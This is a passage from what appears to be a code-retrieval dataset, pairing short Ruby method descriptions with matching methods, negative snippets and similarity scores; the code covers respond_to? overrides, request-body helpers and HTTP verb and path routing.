find_body(meth_name, meth_obj, body, quiet = false)\n case body\n when %r{((?>/\\*.*?\\*/\\s*))(?:static\\s+)?VALUE\\s+#{meth_name}\n \\s*(\\(.*?\\)).*?^}xm\n comment, params = $1, $2\n body_text = $&\n\n # see if we can find the whole body\n \n re = Regexp.escape(body_text) + '[^(]*^\\{.*?^\\}'\n if Regexp.new(re, Regexp::MULTILINE).match(body)\n body_text = $&\n end\n\n # The comment block may have been overridden with a\n # 'Document-method' block. This happens in the interpreter\n # when multiple methods are vectored through to the same\n # C method but those methods are logically distinct (for\n # example Kernel.hash and Kernel.object_id share the same\n # implementation\n\n override_comment = find_override_comment(meth_obj.name)\n comment = override_comment if override_comment\n\n find_modifiers(comment, meth_obj) if comment\n \n# meth_obj.params = params\n meth_obj.start_collecting_tokens\n meth_obj.add_token(RubyToken::Token.new(1,1).set_text(body_text))\n meth_obj.comment = mangle_comment(comment)\n when %r{((?>/\\*.*?\\*/\\s*))^\\s*\\#\\s*define\\s+#{meth_name}\\s+(\\w+)}m\n comment = $1\n find_body($2, meth_obj, body, true)\n find_modifiers(comment, meth_obj)\n meth_obj.comment = mangle_comment(comment) + meth_obj.comment\n when %r{^\\s*\\#\\s*define\\s+#{meth_name}\\s+(\\w+)}m\n unless find_body($1, meth_obj, body, true)\n warn \"No definition for #{meth_name}\" unless quiet\n return false\n end\n else\n\n # No body, but might still have an override comment\n comment = find_override_comment(meth_obj.name)\n\n if comment\n find_modifiers(comment, meth_obj)\n meth_obj.comment = mangle_comment(comment)\n else\n warn \"No definition for #{meth_name}\" unless quiet\n return false\n end\n end\n true\n end", "def has_method?(name)\n Object.instance_method(:respond_to?).bind(self).call(name)\n end", "def private_method_defined?(p0) end", "def verb?\n !verb.nil?\n end", "def body_has_meaningful_content?(body_elt)\n body_elt && body_elt.to_s != \"<body><p></p></body>\"\n end", "def msg_in_context?(msg, context) \n super.allow? name = context[:method_name]\n end", "def wellformed?(signature)\n fail 'abstract method'\n end", "def method?(method)\n\t\treturn (get_tlv_value(TLV_TYPE_METHOD) == method)\n\tend", "def method?(method)\n\t\treturn (get_tlv_value(TLV_TYPE_METHOD) == method)\n\tend", "def might_respond_to?(data)\n data.respond_to?(:text) && !data.text.nil? && (data.user != client.self.id)\n end", "def bang_method?\n method_name.to_s.end_with?('!')\n end", "def simple?(body)\n case body\n when AST::Node\n case body.type\n when :return, :js_return, :break, :next, :redo, :retry\n false\n when :xstr\n XStringNode.single_line?(\n XStringNode.strip_empty_children(body.children)\n )\n else\n body.children.all? { |i| simple?(i) }\n end\n else\n true\n end\n end", "def defined?\n @object.method_defined?(@method_name) or @object.private_method_defined?(@method_name)\n end", "def has_response_body?\n @raw_link.media_type != \"null\"\n end", "def respond_to?(method)\n return true if @wsdl.respond_to? method\n super\n end", "def respond_to?(method, include_private = false)\n get_node.respond_to?(method)\n end", "def respond_to?(method, include_private = false)\n return true if method == :_to_dsl_proxy\n @_receivers.last.respond_to?(method, include_private) || @_context.respond_to?(method, include_private)\n end", "def respond_to? meth, include_private=false\n if(matches? meth)\n return true\n else\n super\n end\n end", "def controlable?\n respond_to?(:call)\n end", "def implicit_docstring?\n YARD.implicit_docstring?(docstring, method)\n end", "def respond_to?(method_name, include_all = false) # rubocop:disable Style/OptionalBooleanParameter\n respond_to_missing?(method_name, include_all)\n end", "def respond_to?(method_name, include_private = false)\n dynamic_tag_context_attribute?(method_name.to_s.chomp(\"=\")) || tag_list_attribute?(method_name.to_s.chomp(\"=\")) || super\n end", "def mandatory?(method, override = nil)\n false\n end", "def xhtml_block?(method, arguments)\n if XHTML_TAG_NAMES.include?(method.to_s)\n last = arguments.last\n last.is_a?(Hash) && last[:type].to_s == \"xhtml\"\n end\n end", "def valid_meth?(fn)\n fn.is_a?(Method)\n end", "def method_exists?\n [ 'public', 'protected', 'private'].any? do |level|\n @klass.send(level + '_method_defined?', @method_name)\n end\n end", "def has(method_name)\n @methods.include?(method_name)\n end", "def has_handler?(method)\n send(method) && true\n end", "def method_defined?(method)\n return true if instance_methods(false).include?(method)\n return false if superclass == Surrealist::Serializer\n\n super\n end", "def respond_to?(method, include_private = false)\r\n method.in? self.public_methods(false) || super\r\n end", "def body_hash_required?\n false\n end", "def respond_to?(method, include_private = false)\n (actions(current_api).include? method) ? true : super\n end", "def answered?\n !body.blank?\n end", "def despined?(*)\n end", "def any_args?\n @any_args\n end", "def any_args?\n @any_args\n end", "def block_body?\n @value.is_a?(Liquid::BlockBody)\n end", "def can_invoke_method_of_same_name_on_obj?\n method_of_same_name_exists_on_obj? && @field.arguments.size == 0\n end", "def args?\n\t\treturn !self.fields.empty?\n\tend", "def respond_to?(method, include_all=false)\n client.respond_to?(method, include_all) || super\n end", "def respond_to?(method, include_all=false)\n client.respond_to?(method, include_all) || super\n end", "def decorated_methods?\n !decorated_methods[:class_methods].empty? ||\n !decorated_methods[:instance_methods].empty?\n end", "def is_message?\n in_reply_to && self.private\n end", "def respond_to?(method_name, _include_all = false)\n if attrs.key?(method_name.to_s)\n true\n else\n super(method_name)\n end\n end", "def respond_to?(method, include_all=false)\n METH_SET.member?(method) || __force__.respond_to?(method, include_all)\n end", "def visibility_and_def_on_same_line?(receiver, method_name, args)\n !receiver &&\n [:public, :protected, :private,\n :module_function].include?(method_name) &&\n args.size == 1 && [:def, :defs].include?(args.first.type)\n end", "def private_method_defined?(arg0)\n end", "def valid_proxy_method?\n rpc_action? || rpc_action_abbrev?\n end", "def document_self_or_methods\n document_self || method_list.any?{ |m| m.document_self }\n end", "def valid? # :nodoc:\n return false unless respond_to?(@method_name)\n test_method = method(@method_name)\n if @internal_data.have_test_data?\n return false unless test_method.arity == 1\n else\n return false unless test_method.arity <= 0\n end\n owner = Util::MethodOwnerFinder.find(self, @method_name)\n if owner.class != Module and self.class != owner\n return false\n end\n true\n end", "def method?(name)\n method_name == name.to_sym\n end", "def stubbed?\n data.is_a? StubLine\n end", "def check_only_methods\n end", "def valid_post_body?(post_body, signature)\n hash = OpenSSL::HMAC.digest(OpenSSL::Digest.new('SHA256'), @channel.line_channel_secret, post_body)\n Base64.strict_encode64(hash) == signature\n end", "def is_reply?\n\t\tthis.is_reply\n\tend", "def variadic?\n @type.variadic?\n end", "def response?(params); end", "def respond_to?(api_method) # :nodoc:\n @client.wsdl.soap_actions.include?(api_method.to_sym)\n end", "def respond_to_missing?(_method, _include_private = false)\n true\n end", "def message?\n false\n end", "def respond_to_missing?(method, include_private = T.unsafe(nil)); end", "def respond_to?(method_name, include_all = false)\n @input.respond_to?(method_name, false) || super(method_name, include_all)\n end", "def respond_to?(method, include_private=false)\n return true if supported_tags.include?(method.to_sym)\n super\n end", "def respond_to?(method, include_private=false)\n return true if supported_tags.include?(method.to_sym)\n super\n end", "def respond_to?(method, include_private=false)\n return true if supported_tags.include?(method.to_sym)\n super\n end", "def respond_to?(method, include_private=false)\n return true if supported_tags.include?(method.to_sym)\n super\n end" ]
[ "0.8494073", "0.8162826", "0.7619376", "0.7083252", "0.6893048", "0.6673466", "0.6646341", "0.64431536", "0.6419952", "0.6366655", "0.6366655", "0.62133265", "0.60953814", "0.6062233", "0.60407364", "0.60046285", "0.5972472", "0.5964209", "0.59629387", "0.59616256", "0.5956289", "0.5949772", "0.5936467", "0.5927321", "0.5922526", "0.5912044", "0.59074676", "0.59008974", "0.58967227", "0.5883102", "0.5875026", "0.58585596", "0.58001244", "0.5783535", "0.57757276", "0.5755499", "0.5749303", "0.57463294", "0.5734623", "0.57335", "0.5705155", "0.56984705", "0.56984705", "0.56938475", "0.56904835", "0.5680483", "0.56779456", "0.5673993", "0.5673053", "0.56606954", "0.56469107", "0.5635706", "0.56177217", "0.560607", "0.560544", "0.5600385", "0.5599102", "0.558217", "0.55769956", "0.5571242", "0.55637676", "0.55575085", "0.5557314", "0.5551599", "0.55510616", "0.5546899", "0.55432504", "0.5536712", "0.55356675", "0.55356675", "0.5532056", "0.55213696", "0.5520265", "0.551485", "0.551485", "0.5507871", "0.5504055", "0.5501236", "0.549119", "0.5486932", "0.548469", "0.54784113", "0.547559", "0.54611653", "0.54609334", "0.54602385", "0.54598254", "0.5455964", "0.54558295", "0.5451037", "0.54457283", "0.5444159", "0.544172", "0.54392046", "0.54391825", "0.5433546", "0.5431072", "0.5431072", "0.5431072", "0.5431072" ]
0.6825445
5
The body specified for the given method in proto or an empty string if not specified
def body @binding&.body || "" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def body\n \"\"\n end", "def body\n \"\"\n end", "def body\n return \"\"\n end", "def body\n ''\n end", "def body\n @body || \"\"\n end", "def body(opts)\n \"\"\n end", "def method_signature\n @parameters.map { |info| info.name == 'body' ? \"body = {}\" : info.name }.join(', ')\n end", "def body\n if @parsed_body\n parsed_body.to_s\n else\n @body\n end\n end", "def body\n nil\n end", "def quick_body\n @raw[1..-1] || \"\"\n end", "def body\n part('body')\n end", "def body\n process_message_body if !@body\n @body\n end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body\n raise NotImplementedError, \"#{self.class} must implement #body!\"\n end", "def body\n read_attribute(:body) || ''\n end", "def raw_body\n @raw_body ||= @raw[(raw_command.length + 1)..-1] || \"\"\n end", "def body(*args)\n return @body if args.empty?\n @body = args.first\n end", "def request_body(method, params = [])\n p_body = ''\n\n params.each { |p| p_body << \"<param><value><string>#{p}</string></value></param>\" }\n\n body = '<?xml version=\"1.0\"?><methodCall>'\n body << \"<methodName>#{method}</methodName>\"\n body << \"<params>#{p_body}</params>\" unless p_body.length == 0\n body << '</methodCall>'\n end", "def to_s\n body\n end", "def body\n description\n end", "def text\n @body\n end", "def body\n @raw\n end", "def must_have_body?\n Methods[@method].must_have_body\n end", "def body\n @message.body\n end", "def to_s\n body\n end", "def body()\n #This is a stub, used for indexing\n end", "def body\n return @body\n end", "def body\n self['body']\n end", "def to_s\n @body\n end", "def to_s\n @body\n end", "def body\n if defined? @body\n @body\n else\n Null\n end\n end", "def body\n @body ||= process_text(@raw_body)\n end", "def body(value = nil)\n\t\t\tvalue ? @body = value : @body ||= ''\n\t\tend", "def can_have_body?\n Methods[@method].can_have_body\n end", "def body\n self[:body]\n end", "def body\n data[:body]\n end", "def set_body\n self.body = \"\" unless body\n body\n end", "def set_body\n self.body = \"\" unless body\n body\n end", "def body?\n HTTY::Request::METHODS_SENDING_BODY.include? method\n end", "def to_s\n body.to_s\n end", "def text\n self.body\n end", "def getBody\n @body\n end", "def to_s\n @body.to_s\n end", "def body(value = nil)\n if value\n @body = value\n else\n @body\n end\n end", "def to_s\n @body\n end", "def encode_body\n '' # No body by default\n end", "def message_body(format=nil)\n case format\n when :text\n msg['text']\n when :html\n msg['html']\n when :raw\n msg['raw_msg']\n else\n msg['text'] || msg['html'] || msg['raw_msg']\n end\n end", "def body_snippet\n if body && body.length > 100\n body[0..100] + \"...\"\n else\n body\n end\n end", "def body\n ret = read_attribute(:body)\n if ret.nil?\n return ret\n end\n ret = ret.strip\n ret = ret.gsub(/(?:\\n\\s*){2,}/, \"\\n\\n\") # remove excess linebreaks that unnecessarily space it out\n ret\n end", "def body\n @segment[%r(^.*?\\n(.*)$)m, 1]\n end", "def body\n source\n end", "def write(what)\n @body = \"\" if !@body\n @body += what.to_s if what && what.class\n end", "def formatted_body\n\t\tcase self.text\n\t\t\twhen \"space_created\"\n\t\t\t\treturn \"Space created, \\'#{self.reference.name}\\'\"\n\t\t\twhen \"discussion_created\"\n\t\t\t\treturn self.reference.body\n\t\t\twhen \"comment_created\"\n\t\t\t\treturn self.reference.body\n\t\tend\t\t\n\tend", "def body\n return @body\n end", "def body\n return @body\n end", "def body\n return @body\n end", "def body\n return @body\n end", "def find_body(meth_name, meth_obj, body, quiet = false)\n case body\n when %r{((?>/\\*.*?\\*/\\s*))(?:static\\s+)?VALUE\\s+#{meth_name}\n \\s*(\\(.*?\\)).*?^}xm\n comment, params = $1, $2\n body_text = $&\n\n # see if we can find the whole body\n \n re = Regexp.escape(body_text) + '[^(]*^\\{.*?^\\}'\n if Regexp.new(re, Regexp::MULTILINE).match(body)\n body_text = $&\n end\n\n # The comment block may have been overridden with a\n # 'Document-method' block. This happens in the interpreter\n # when multiple methods are vectored through to the same\n # C method but those methods are logically distinct (for\n # example Kernel.hash and Kernel.object_id share the same\n # implementation\n\n override_comment = find_override_comment(meth_obj.name)\n comment = override_comment if override_comment\n\n find_modifiers(comment, meth_obj) if comment\n \n# meth_obj.params = params\n meth_obj.start_collecting_tokens\n meth_obj.add_token(RubyToken::Token.new(1,1).set_text(body_text))\n meth_obj.comment = mangle_comment(comment)\n when %r{((?>/\\*.*?\\*/\\s*))^\\s*\\#\\s*define\\s+#{meth_name}\\s+(\\w+)}m\n comment = $1\n find_body($2, meth_obj, body, true)\n find_modifiers(comment, meth_obj)\n meth_obj.comment = mangle_comment(comment) + meth_obj.comment\n when %r{^\\s*\\#\\s*define\\s+#{meth_name}\\s+(\\w+)}m\n unless find_body($1, meth_obj, body, true)\n warn \"No definition for #{meth_name}\" unless quiet\n return false\n end\n else\n\n # No body, but might still have an override comment\n comment = find_override_comment(meth_obj.name)\n\n if comment\n find_modifiers(comment, meth_obj)\n meth_obj.comment = mangle_comment(comment)\n else\n warn \"No definition for #{meth_name}\" unless quiet\n return false\n end\n end\n true\n end", "def personal_message(msg, cl, state)\n respond(msg, cl, \"Hi. Your message was: #{msg.inspect}\")\n respond(msg, cl, \"Body: #{msg.body.to_s}\")\nend", "def body\n self.read_body\n self.get_body\n end", "def text\n body.text\n end", "def body\n Base64::decode64(self[:body])\n end", "def body\n @body ||= begin\n body = \"\"\n while chunk = readpartial\n body << chunk\n end\n body\n end\n end", "def message_body\n message_body = \"#{author.name} desea participar al evento '#{event.name}'.\"\n message_body += \"<br><br>\"\n message_body += \"Si deseas que participe en el evento pulsa en el siguiente botón:\"\n message_body += \"<br><br>\"\n\n message_body += body_form\n\n return message_body\n end", "def parsed_body\n @body\n end", "def signature\n {method: @method.upcase, path: @path, body: @body}\n end", "def body_content\n raise NotImplementedError\n end", "def customized_message_body\n return @customized_message_body\n end", "def inspect\n \"#<#{self.class.name} @body=\\\"#{self.body}\\\">\"\n end", "def body=(value)\n @body = value\n end", "def set_body\n self.body = \"\" unless self.body\n end", "def getBody\n body = \"\"\n @body.each { |part| body << part }\n body\n ensure\n @body.close if @body.respond_to?(:close)\n end", "def get_post_body(name, params)\n { 'method' => name, 'params' => params, 'id' => 'jsonrpc' }\n end", "def body_io; end", "def body_io; end", "def body_content\n end", "def compute_query_api_pattern_body(query_api_method_name, container, used_query_params, pattern)\n if container[:body].nil? && !pattern[:body].nil?\n # Make sure body is not left blank when it must be set\n fail(Error::new(\"#{query_api_method_name}: body parameter must be set\")) if pattern[:body] == Utils::MUST_BE_SET\n container[:body] = compute_query_api_pattern_param(query_api_method_name, pattern[:body], container[:params_with_defaults], used_query_params)\n end\n end", "def body\n if author\n \"**#{author}**: #{text}\"\n else\n text\n end\n end", "def soap_body(env)\n env['rack.input'].respond_to?(:string) ? env['rack.input'].string\n : env['rack.input'].read\n end", "def raw_body\n @attributes[:raw_body]\n end", "def body(value = nil)\n if value\n self.body = value\n# add_encoding_to_body\n else\n process_body_raw if @body_raw\n @body\n end\n end", "def body\n @body ||= begin\n begin\n io = Java.java_to_ruby(\n org.jruby.RubyIO.new(JRuby.runtime, entity.content).java_object\n )\n io.read\n rescue Exception => e\n puts \"Error in Response#body: #{e.message}\"\n end\n end\n end", "def render_message_with_converted_entities(method_name, body)\n message = render_message_without_converted_entities(method_name, body)\n html_part?(method_name) ? convert_to_entities(message) : message\n end", "def body\n @attributes[:body]\n end", "def generate_body(type, args)\n args[:'accept-language'] = args[:accept_language] if args.key?(:accept_language)\n args.select { |key, _| valid_args(type).include?(key) }\n end" ]
[ "0.6942175", "0.6942175", "0.6822956", "0.67821544", "0.6748257", "0.6699106", "0.6663681", "0.6433867", "0.640234", "0.6397439", "0.6339297", "0.63340133", "0.6315244", "0.6315244", "0.6315244", "0.6315244", "0.6315244", "0.6315244", "0.6315244", "0.6315244", "0.6315244", "0.6315244", "0.6315244", "0.6315244", "0.6315244", "0.6315244", "0.6315244", "0.6315244", "0.63008714", "0.6279554", "0.62562233", "0.6248018", "0.6242632", "0.6182", "0.6162182", "0.6137507", "0.6135236", "0.61282235", "0.61200666", "0.61070806", "0.61064804", "0.60913193", "0.60838926", "0.6049574", "0.6049574", "0.60367477", "0.6003444", "0.59865445", "0.59850025", "0.5980925", "0.5966089", "0.5947242", "0.5947242", "0.59381086", "0.5925663", "0.58866477", "0.5839045", "0.5825099", "0.5821567", "0.5810107", "0.5808858", "0.5795317", "0.5784787", "0.5752476", "0.5728925", "0.5706262", "0.5702179", "0.56736624", "0.5661603", "0.5661603", "0.5661603", "0.5661603", "0.56459135", "0.56391954", "0.56344664", "0.5632458", "0.5632146", "0.56267834", "0.561167", "0.5603562", "0.5594276", "0.5586363", "0.5586115", "0.5584496", "0.558101", "0.55612177", "0.55490977", "0.55460966", "0.55460674", "0.55460674", "0.5516285", "0.5511528", "0.5506906", "0.5498352", "0.54950035", "0.5486135", "0.5480734", "0.54779756", "0.5471158", "0.54686433" ]
0.6094909
41
The combination of verb and path found in the http annotation (or Nil if the annotation is Nil).
def verb_path return nil if @binding.nil? { get: @binding.get, post: @binding.post, put: @binding.put, patch: @binding.patch, delete: @binding.delete }.find { |_, value| !value.empty? } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def verb\n verb_path[0] if verb_path\n end", "def path\n return \"\" unless verb_path\n verb_path[1]\n end", "def http_verb(params)\n [:post, :put, :delete].detect { |method_name|\n params.key?(method_name)\n } || :get\n end", "def verb\n [\"get\", \"post\"].include?(raw_verb) ? raw_verb : \"post\"\n end", "def request_method\n {:filter => :post,\n :sample => :get,\n :firehose => :get,\n :retweet => :get\n }.fetch(@path, :get)\n end", "def path ; @request.path_info ; end", "def operation(verb, path)\n @resources.each do |resource|\n resource[\"apis\"].each do |api|\n api[\"operations\"].each do |op|\n return op if op[\"httpMethod\"] == verb.to_s && path == api[\"path\"]\n end\n end\n end\n end", "def parse_path_api path\n return path unless path =~ %r{(.*)#{self.class.api_doc_suffix}$}i\n [$1, true]\n end", "def http_methods(_path)\n []\n end", "def verbs\n (@verb.downcase.presence || 'get').split('|')\n end", "def request_type(http_method = nil)\n (http_method || @verb).to_s.upcase\n end", "def supports_path?; end", "def request_path\n @path = controller_path + '#' + action_name\n def @path.is(*str)\n str.map{|s| self.include?(s)}.include?(true)\n end\n end", "def get(path, data={})\n http_verb :get, path, data\n end", "def get_requested_route(env)\n request = Rack::Request.new(env)\n \n http_method = request.request_method.downcase\n path = request.path_info\n\n [http_method, path]\n end", "def add_swagger_route http_method, path, opts = {}\n full_path = path.gsub(/{(.*?)}/, ':\\1')\n match full_path, to: \"#{opts.fetch(:controller_name)}##{opts[:action_name]}\", via: http_method\n end", "def path\n parse_request! if @path.nil?\n @path\n end", "def normalized_request_method\n method = @env[\"REQUEST_METHOD\"]\n method == 'HEAD' ? 'get' : method.downcase\n end", "def http_method\n return @discovery_document['httpMethod'] || 'GET'\n end", "def recognize_request(path, verb=nil)\n path = \"/#{path}\" unless path.first == '/'\n # Assume given controller\n request = ActionController::TestRequest.new({})\n request.env[\"REQUEST_METHOD\"] = verb.to_s.upcase if verb\n request.path = path\n ActionController::Routing::Routes.recognize(request)\n request\n end", "def matches?(req)\n req.path =~ pattern && req.request_method.to_s.upcase == http_method\n end", "def request_path; end", "def is_verb? m\n is_token?(m) || is_absolute_iri?(m)\n end", "def resources_for http_verb, path\n param_vals = []\n curr_node = @routes_tree[http_verb.to_s.downcase]\n return unless curr_node\n\n path.scan(%r{/([^/]+|$)}) do |(key)|\n next if key.empty?\n\n if curr_node[key]\n curr_node = curr_node[key]\n\n elsif curr_node[\"%s\"]\n param_vals << key\n curr_node = curr_node[\"%s\"]\n\n else\n return\n end\n end\n\n return unless curr_node.value\n rsc = curr_node.value.dup\n\n rsc[-1] = param_vals.empty? ?\n Hash.new :\n rsc[-1].inject({}){|h, name| h[name] = param_vals.shift; h}\n\n rsc\n end", "def matches_directly?(request_path, http_method)\n @paths.path[request_path]&.operation(http_method)\n end", "def verb\r\n self.class.verb\r\n end", "def allowed_methods( path_components )\n\t\ttype = path_components.empty? ? :collection : :single\n\t\tallowed = HTTP_METHOD_MAPPING[ type ].keys.\n\t\t\tfind_all {|msym| self.respond_to?(msym) }.\n\t\t\tinject([]) {|ary,msym| ary << HTTP_METHOD_MAPPING[type][msym]; ary }\n\n\t\tallowed += ['HEAD'] if allowed.include?( 'GET' )\n\t\treturn allowed.uniq.sort\n\tend", "def recognized_request_for(path, extras = T.unsafe(nil), msg); end", "def matches?(req)\n req.path =~ pattern && http_method == req.request_method.downcase.to_sym\n end", "def request_method(verb)\n Net::HTTP.const_get(verb.to_s.capitalize)\n end", "def http_get(path)\n http_methods(path, :get)\n end", "def request_method\n @request_method || :get\n end", "def path_info\n @headers[\"PATH_INFO\"]\n end", "def route\n \"#{@http_verb.to_s.upcase} #{@url}\"\n end", "def raw_path_info\n ((servlet_request = @env['java.servlet_request']) &&\n raw_path_info_from_servlet_request(servlet_request)) || path_info\n end", "def http verb, path, params={}\n\n to_header = params.delete(:to_header)\n case verb.to_s.downcase\n\n when 'get' # use URL-encoded params for GET requests only\n if to_header\n to_header['Accept'] = MIME_TYPE\n request_opts = {method: verb, headers: to_header, params: params}\n else\n request_opts = {method: verb, headers: {'Accept' => MIME_TYPE}, params: params}\n end\n else # for everything else encode as JSON in the body\n encoded_param = Yajl::Encoder.encode params\n if to_header\n to_header['Content-type'] = MIME_TYPE\n request_opts = {method: verb, headers: to_header, body: encoded_param }\n else\n request_opts = {method: verb, headers: { 'Content-type' => MIME_TYPE }, body: encoded_param }\n\n end\n end\n\n request = Typhoeus::Request.new @base_url+path, request_opts\n\n @hydra.queue request\n\n RequestPromise.new(request).then do |response|\n # we always expect JSON from successful responses\n response_meta(response).merge Yajl::Parser.parse(response.body, symbolize_keys: true)\n end\n end", "def to_s\n \"#{http_methods.join(\" / \")} #{path}\"\n end", "def routing_path_and_extension\n @routing_path_and_extension ||= begin\n path = raw_path_info\n extension = nil\n\n if @app.config[:media_type_extensions] && (match = EXTENSION_REGEXP.match(path))\n path = match.pre_match\n extension = match[1]\n end\n\n [path, extension]\n end\n end", "def http_method\n @parser.http_method\n end", "def path\n request.path\n end", "def route_mode\n mode = :resource\n mode = :namespace if @endpoints.count == 0\n mode = :action if @subroutes.count == 0 && @parent && @parent.route_mode == :resource\n mode = :param if /^:/ === @prefix.last\n mode\n end", "def action_for route\n raise \"Argument must be an Endpoint\" unless Endpoint === route\n action = @prefix[-1]\n action = PARAM_ROUTES[route[:method]] if self.action_mode == :param\n action = RESOURCE_ROUTES[route[:method]] if self.route_mode == :resource && self.action_mode == :collection\n action\n end", "def parse_route(path, options, verb)\n path = path.dup if path.kind_of?(String)\n route_options = {}\n\n if options[:params] == true\n options.delete(:params)\n elsif options.include?(:params)\n options[:params] ||= []\n options[:params] |= Array(options[:with]) if options[:with]\n end\n\n # We need check if path is a symbol, if that it's a named route.\n map = options.delete(:map)\n\n # path i.e :index or :show\n if path.kind_of?(Symbol)\n name = path\n path = map ? map.dup : (path == :index ? '/' : path.to_s)\n end\n\n # Build our controller\n controller = Array(@_controller).map(&:to_s)\n\n case path\n when String # path i.e \"/index\" or \"/show\"\n # Now we need to parse our 'with' params\n if with_params = options.delete(:with)\n path = process_path_for_with_params(path, with_params)\n end\n\n # Now we need to parse our provides\n options.delete(:provides) if options[:provides].nil?\n \n options.delete(:accepts) if options[:accepts].nil?\n\n if @_use_format || options[:provides]\n process_path_for_provides(path)\n # options[:add_match_with] ||= {}\n # options[:add_match_with][:format] = /[^\\.]+/\n end\n\n absolute_map = map && map[0] == ?/\n\n unless controller.empty?\n # Now we need to add our controller path only if not mapped directly\n if !map && !absolute_map\n controller_path = controller.join(\"/\")\n path.gsub!(%r{^\\(/\\)|/\\?}, \"\")\n path = File.join(controller_path, path) unless @_map\n end\n end\n\n # Now we need to parse our 'parent' params and parent scope.\n if !absolute_map and parent_params = options.delete(:parent) || @_parent\n parent_params = (Array(@_parent) + Array(parent_params)).uniq\n path = process_path_for_parent_params(path, parent_params)\n end\n\n # Add any controller level map to the front of the path.\n path = \"#{@_map}/#{path}\".squeeze('/') unless absolute_map || !@_map\n\n # Small reformats\n path.gsub!(%r{/\\?$}, '(/)') # Remove index path\n path.gsub!(%r{//$}, '/') # Remove index path\n path[0,0] = \"/\" if path !~ %r{^\\(?/} # Paths must start with a /\n path.sub!(%r{/(\\))?$}, '\\\\1') if path != \"/\" # Remove latest trailing delimiter\n path.gsub!(/\\/(\\(\\.|$)/, '\\\\1') # Remove trailing slashes\n path.squeeze!('/')\n when Regexp\n route_options[:path_for_generation] = options.delete(:generate_with) if options.key?(:generate_with)\n end\n\n name = options.delete(:route_name) if name.nil? && options.key?(:route_name)\n name = options.delete(:name) if name.nil? && options.key?(:name)\n if name\n controller_name = controller.join(\"_\")\n name = \"#{controller_name} #{name}\".to_sym unless controller_name.empty?\n end\n\n options[:default_values] = @_defaults unless options.has_key?(:default_values)\n\n [path, name, parent_params, options, route_options]\n end", "def verb(route)\n route.verb.source.gsub(/[$^]/, '')\n end", "def path_method\n View.configuration.path_methods.find { |method| value.respond_to?(method) }\n end", "def _find_context_by_params(path, verb, params)\n (stub[path][verb].find { |_, spec| spec['request'] == params } || []\n ).first\n end", "def matches?(req)\n pattern.match(req.path) && req.request_method.downcase == http_method.to_s\n end", "def kind\n match_path(2..2)\n end", "def route_request\n env.logger.debug \"#{self.class} ROUTING - #{env[Goliath::Request::PATH_INFO]}\"\n if has_path = ( env[Goliath::Request::PATH_INFO] =~ /^\\/(\\w+)(\\/\\w+)*/ )\n env.logger.debug \"#{self.class} route_request:\\t pathinfo = #{$1} extended = #{$2}\"\n path_info = $1\n extended_path_info = $2\n has_path = true #it will be a number or nil - let's just make it a bool\n elsif params[:id]\n has_path = true\n end\n \n method = env[Goliath::Request::REQUEST_METHOD]\n action = case method\n when 'GET'\n has_path ? 'show' : 'index'\n when 'POST'\n has_path ? ( raise BadRequestError, \"can't post to this resource\" ) : 'create'\n when 'PUT'\n !has_path ? ( raise BadRequestError, \"no resource to PUT to\" ) : 'update'\n when 'DELETE'\n !has_path ? ( raise BadRequestError, \"no resource to DELETE\" ) : 'delete'\n else\n raise MethodNotAllowedError, \"unknown request method\"\n end\n env.logger.info \"#{self.class} route_request:\\t attempting to call #{action} action\"\n if self.respond_to?(action, true) #second param includes private methods\n env['params']['id'] = params[:id] || (path_info if has_path)\n self.send(action)\n else\n error_on MethodNotAllowedError, \"#{action} not supported for this resource\"\n end\n end", "def matches?(req)\n match_method = req.request_method.downcase.to_sym == @http_method\n # match_pattern = req.path.match(Regexp.new(@pattern))\n match_pattern = req.path =~ @pattern\n match_method && match_pattern\n end", "def route(path = request.path_info)\n path = path.gsub(%r{//+}, '/').gsub(%r{^/|/$}, '')\n return route_index if path.empty? || path == docs_prefix\n case path\n when %r{^(#{docs_prefix}|#{list_prefix}|#{search_prefix}|#{static_prefix})(/.*|$)}\n prefix = $1\n paths = $2.gsub(%r{^/|/$}, '').split('/')\n library, paths = *parse_library_from_path(paths)\n return unless library\n return case prefix\n when docs_prefix; route_docs(library, paths)\n when list_prefix; route_list(library, paths)\n when search_prefix; route_search(library, paths)\n when static_prefix; route_static(library, paths)\n end\n end\n nil\n end", "def browse_path\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"\" ] if browse_everything_controller2_debug_verbose\n rv = params[:path] || ''\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"browse_path rv=#{rv}\",\n \"\" ] if browse_everything_controller2_debug_verbose\n rv\n end", "def get?\r\nHTTP_METHOD_LOOKUP[request_method] == :get\r\nend", "def components_request_body_name(_doc, _path_component, _tag_name, _verb, schema_name)\n schema_name\n end", "def query_api_pattern(method_name, verb, path='', opts={}, &block)\n self.class.query_api_pattern(method_name, verb, path, opts, @query_api_patterns, &block)\n end", "def path\n metadata.fetch(:path) do\n return if request_response_pairs.empty?\n request_response_pairs.first.first.path\n end\n end", "def http_method(value = nil)\n if value\n @http_method = value\n else\n @http_method\n end\n end", "def implied_path\n clean_path(@request.path.dup)\n end", "def get(path, options={})\n http_verb :get, path, options\n end", "def http_method\n return if request_response_pairs.empty?\n request_response_pairs.first.first.request_method\n end", "def matches?(req)\n !(req.path =~ @pattern).nil? && \n req.request_method.downcase.to_sym == @http_method\n end", "def matches?(req)\n @pattern.match?(req.path) && @http_method.to_s.downcase == req.request_method.downcase\n end", "def route_api?\n request.get? && path.match(%r{^/api})\n end", "def recognized_route\n unless @recognized_route\n path = params[:resource_path] || params[:erp] || request.path\n environment = ::ActionController::Routing::Routes.extract_request_environment(request)\n environment.merge!(:method => params[:resource_method]) if params[:resource_method]\n @recognized_route ||= ::ActionController::Routing::Routes.routes_for_controller_and_action(controller_path, action_name).find do |route|\n route.recognize(path, environment)\n end or ResourcesController.raise_no_recognized_route(self)\n end\n @recognized_route\n end", "def route\n @route ||= Role.available_routes.find {|r| r.conditions[:path_info].to_s == path_info && r.conditions[:request_method].to_s == request_method}\n end", "def url_path\n @path ||= params[:path].present? ? params[:path].split('/') : []\n end", "def default_method\n case @action.to_s\n when /create/\n :post\n when /update/\n 